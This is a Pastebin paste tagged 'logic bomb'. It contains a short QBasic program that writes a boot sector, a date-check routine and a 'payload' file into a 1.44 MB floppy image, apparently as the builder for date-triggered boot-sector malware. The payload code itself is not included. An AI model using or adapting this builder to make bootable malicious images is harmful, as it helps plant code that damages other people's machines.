Advertisement
FlyFar

DskWrite.BAS

Dec 24th, 2023
1,388
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
QBasic 0.60 KB | Cybersecurity | 0 0
  1. DECLARE SUB WriteSector(index%, filename$)
  2. TYPE Sector
  3.         MachineCode AS STRING * 510
  4.         signature AS INTEGER
  5. END TYPE
  6. DIM SHARED Sector AS Sector
  7. Sector.signature = &HAA55 ;add boot signature TO END of sector
  8. OPEN "floppy.img" FOR RANDOM AS #1 LEN = 512
  9. WriteSector 1, "floppybs"
  10. WriteSector 2, "datechck"
  11. WriteSector 4, "payload"
  12. Sector.MachineCode = ""
  13. PUT #1, 2880, Sector ;set size of file TO exactly 1440KiB
  14. CLOSE #1
  15.  
  16. SUB WriteSector (SecNo%, filename$)
  17.     OPEN filename$ + ".COM" FOR RANDOM AS #2 LEN = 510
  18.     GET #2, 1, Sector.MachineCode
  19.     PUT #1, SecNo%, Sector
  20.     CLOSE #2
  21. END SUB
  22.  
Tags: logic bomb
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement